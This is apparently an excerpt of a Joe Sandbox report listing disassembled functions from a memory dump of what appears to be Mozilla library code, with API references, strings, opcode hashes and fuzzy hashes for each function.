Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C5703, 6C6C921F, 6C6C56C7, 6C6C5740, 6C6C9459, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C7E0B, 6C6C79FB, 6C6C79C0, 6C6C793C, 6C6C7796

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7C03, 6C6C7B0B, 6C6C7E0B, 6C6C79FB, 6C6C7C72, 6C6C79C0, 6C6C793C

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetMonitorInfoW, xrefs: 6C6B57A2
StretchDIBits, xrefs: 6C6B57CC
GetDpiForWindow, xrefs: 6C6B5690
SetWindowPos, xrefs: 6C6B56F7
DeleteObject, xrefs: 6C6B57F9
ShowWindow, xrefs: 6C6B56DE
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
RegisterClassW, xrefs: 6C6B56AC
user32, xrefs: 6C6B5601
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
ReleaseDC, xrefs: 6C6B5742
LoadIconW, xrefs: 6C6B575B
CreateSolidBrush, xrefs: 6C6B57E4
MonitorFromWindow, xrefs: 6C6B578D
CreateWindowExW, xrefs: 6C6B56C5
FillRect, xrefs: 6C6B5729
GetSystemMetricsForDpi, xrefs: 6C6B5677
SetWindowLongPtrW, xrefs: 6C6B57B7
GetWindowDC, xrefs: 6C6B5710
LoadCursorW, xrefs: 6C6B5774
gdi32, xrefs: 6C6B560A
EnableNonClientDpiScaling, xrefs: 6C6B5666

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

fileio, xrefs: 6C69CC92
noiostacks, xrefs: 6C69CCBE
stackwalk, xrefs: 6C69CCF8
processcpu, xrefs: 6C69CE6E
audiocallbacktracing, xrefs: 6C69CDD4
nostacksampling, xrefs: 6C69CD7C
nativeallocations, xrefs: 6C69CDA8
markersallthreads, xrefs: 6C69CE42
fileioall, xrefs: 6C69CCA8
unregisteredthreads, xrefs: 6C69CE58
mainthreadio, xrefs: 6C69CC7C
cpuallthreads, xrefs: 6C69CE16
preferencereads, xrefs: 6C69CD92
samplingallthreads, xrefs: 6C69CE2C
default, xrefs: 6C69CC21
seqstyle, xrefs: 6C69CCE6
Unrecognized feature "%s"., xrefs: 6C69CEA0
screenshots, xrefs: 6C69CCD4
jsallocations, xrefs: 6C69CD0E
java, xrefs: 6C69CC37
ipcmessages, xrefs: 6C69CDBE
leaf, xrefs: 6C69CC66
notimerresolutionchange, xrefs: 6C69CE00
power, xrefs: 6C69CE84

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

Gml, xrefs: 6C6644FC
user32.dll, xrefs: 6C664557, 6C66463F
kernel32.dll, xrefs: 6C6644CD
l, xrefs: 6C664578
NativeNtBlockSet_Write, xrefs: 6C6646F7
WRusr.dll, xrefs: 6C6644B5

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
